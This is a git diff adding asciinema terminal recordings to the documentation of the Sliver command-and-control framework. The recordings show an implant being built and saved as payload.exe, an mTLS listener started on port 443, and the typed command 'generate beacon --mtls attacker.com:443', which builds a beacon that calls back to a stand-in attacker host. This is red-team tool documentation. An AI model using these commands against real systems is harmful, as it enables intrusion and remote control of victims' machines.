+[77.055531, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[77.155937, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[77.256294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[77.35668, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[77.45706, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[77.557462, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[77.65787, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[77.75826, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[77.858666, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[77.959055, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[78.059452, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[78.159833, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[78.260263, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[78.360644, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[78.461032, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[78.561441, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[78.661823, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[78.762231, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[78.862655, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[78.963027, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[79.063401, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[79.163835, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[79.265475, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[79.365878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[79.466288, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[79.566721, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[79.66709, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[79.767478, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[79.867894, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[79.968304, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[80.068694, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[80.169087, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[80.269465, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[80.369838, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[80.470219, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[80.570601, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[80.671007, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[80.771398, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[80.8718, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[80.972194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[81.072498, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[81.172906, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[81.273319, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[81.373766, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[81.47417, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[81.574592, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[81.674979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[81.775365, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[81.875663, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[81.976053, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[82.076504, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[82.176927, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[82.277336, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[82.377703, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[82.478128, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[82.578609, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[82.678987, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[82.779415, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[82.879714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[82.980011, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[83.080411, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[83.180785, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[83.281174, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[83.381599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[83.482005, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[83.582444, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[83.682822, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[83.783246, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[83.883634, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[83.984015, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[84.084418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[84.184812, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[84.285233, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[84.386403, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[84.486736, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[84.587242, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[84.687536, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[84.787924, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[84.88833, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[84.988737, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[85.089133, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[85.189522, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[85.289919, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[85.390347, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[85.490743, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[85.591169, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[85.691549, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[85.791991, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[85.892392, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[85.992783, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[86.093186, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[86.193587, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[86.294408, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[86.394599, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[86.495166, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[86.595536, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[86.695959, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[86.796374, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[86.896772, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[86.997172, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[87.097591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[87.197964, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[87.298394, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[87.398806, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[87.499234, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[87.599648, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[87.70005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[87.800474, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[87.900877, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[88.001287, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[88.101698, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[88.202101, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[88.302622, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[88.403036, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[88.503374, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[88.603703, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[88.704091, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[88.804494, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[88.904893, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[89.005224, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[89.105629, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[89.206034, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[89.306448, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[89.40675, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[89.507197, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[89.607577, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[89.707992, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[89.808388, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[89.908795, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[90.009226, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[90.109642, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[90.210036, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[90.310443, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[90.410846, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[90.51127, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[90.611653, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[90.712036, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[90.812422, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[90.912748, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[91.013185, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[91.113567, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[91.213948, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[91.314376, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[91.414783, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[91.515188, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[91.615594, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[91.716005, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[91.816438, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[91.916837, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[92.017253, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[92.117667, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[92.218056, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[92.318456, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[92.418883, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[92.5193, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[92.619736, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[92.720141, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[92.82049, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[92.920861, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[93.021335, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[93.121763, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[93.222188, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[93.322569, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[93.423057, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[93.523486, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[93.623822, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[93.724235, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[93.824613, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[93.925022, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[94.025447, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[94.125856, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[94.22635, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[94.326765, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[94.427244, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[94.527703, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[94.628145, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
+[94.728567, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
+[94.829008, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
+[94.929438, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
+[95.029854, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
+[95.130289, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
+[95.230681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
+[95.331145, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
+[95.431481, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
+[95.531904, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
+[95.628091, "o", "\r\u001b[2K\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 1m21s\r\n"]
+[95.659372, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /home/kali/payload.exe\r\n\r\n"]
+[95.659476, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
+[97.061722, "o", "\u001b[J\u001b[2K\r"]
+[97.062103, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mm"]
+[97.358454, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmt"]
+[97.762293, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtl"]
+[97.885796, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls"]
+[98.107419, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls "]
+[98.25878, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls -"]
+[98.4377, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --"]
+[98.890433, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --l"]
+[99.288224, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lp"]
+[99.486671, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport "]
+[100.534346, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 4"]
+[100.730113, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 44"]
+[100.847884, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443"]
+[101.467008, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mmtls --lport 443\r\n"]
+[101.467225, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarting mTLS listener ...\r\n"]
+[101.470339, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSuccessfully started job #3\r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
+[102.899959, "o", "\u001b[J\u001b[2K\r"]
+[102.900598, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mj"]
+[103.039168, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjo"]
+[103.351582, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjob\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs"]
+[103.877364, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mjobs\r\n"]
+[103.877495, "o", "\r\n"]
+[103.878596, "o", " ID Name Protocol Port Stage Profile \r\n==== ====== ========== ====== ===============\r\n 3 mtls tcp 443 \r\n\r\n\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
+[107.021089, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0me"]
+[107.202237, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mex"]
+[107.294327, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexi"]
+[107.445352, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit"]
+[107.59321, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mexit\r\n"]
+[107.593405, "o", "\u001b[J\u001b[2K\r"]
+[107.599102, "o", " \r\r"]
+[110.767341, "o", "\u001b[?2004l\r\r\n"]
diff --git a/docs/sliver-docs/public/asciinema/sliver-generate-2.cast b/docs/sliver-docs/public/asciinema/sliver-generate-2.cast
new file mode 100644
index 0000000000..fcb16ef1ea
--- /dev/null
+++ b/docs/sliver-docs/public/asciinema/sliver-generate-2.cast
@@ -0,0 +1,890 @@
+{"version": 2, "width": 137, "height": 38, "timestamp": 1702835089, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
+[0.097852, "o", " \r\r"]
+[0.155329, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"]
+[0.156106, "o", "\u001b[?1h\u001b="]
+[0.157882, "o", "\u001b[?2004h"]
+[1.125575, "o", "\u001b[1ms\u001b[0m"]
+[1.126513, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"]
+[1.421601, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"]
+[1.615189, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m\u001b[38;2;153;153;153mi\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b\b"]
+[1.629916, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[39m \u001b[39m \u001b[39m \b\b\b"]
+[1.630831, "o", "\u001b[38;2;153;153;153mer\u001b[39m\b\b"]
+[1.759956, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m"]
+[1.853356, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"]
+[2.236531, "o", "\u001b[?1l\u001b>"]
+[2.23892, "o", "\u001b[?2004l\r\r\n"]
+[2.296279, "o", "Connecting to localhost:31337 ...\r\n"]
+[2.344065, "o", "\u001b[m"]
+[2.346097, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain indestructible\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"]
+[2.346478, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"]
+[3.00925, "o", "\u001b[J\u001b[2K\r"]
+[3.010337, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"]
+[3.208022, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"]
+[3.302823, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"]
+[3.372922, "o", "\u001b[J\u001b[2K\r"]
+[3.373021, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"]
+[3.70229, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"]
+[4.052038, "o", "\u001b[J\u001b[2K\r"]
+[4.052339, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenera"]
+[4.510978, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "]
+[5.054448, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate b"]
+[5.280013, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate be"]
+[5.46739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon "]
+[6.419442, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon -"]
+[6.614411, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --"]
+[6.856392, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --m"]
+[7.095018, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mt"]
+[7.266718, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtl"]
+[7.505325, "o", "\u001b[J\u001b[2K\r"]
+[7.505432, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls"]
+[7.700302, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls "]
+[7.899072, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls a"]
+[8.035391, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls at"]
+[8.199555, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls att"]
+[8.419739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls atta"]
+[8.527686, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attac"]
+[8.947179, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attack\u001b[J\u001b[2K\r"]
+[8.947632, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker"]
+[9.102625, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker."]
+[9.250979, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.c"]
+[9.470126, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.co"]
+[9.473668, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com"]
+[10.219427, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:"]
+[10.62294, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:4"]
+[11.043501, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:44"]
+[11.059748, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443"]
+[11.404661, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 "]
+[11.739648, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 -"]
+[12.091586, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --"]
+[12.615716, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --s"]
+[12.712567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sa"]
+[12.797343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --sav"]
+[13.139634, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save "]
+[13.663953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save b"]
+[13.759355, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save be"]
+[13.856114, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save bea"]
+[14.058062, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beac"]
+[14.186399, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beaco"]
+[14.303636, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate beacon --mtls attacker.com:443 --save beacon"]
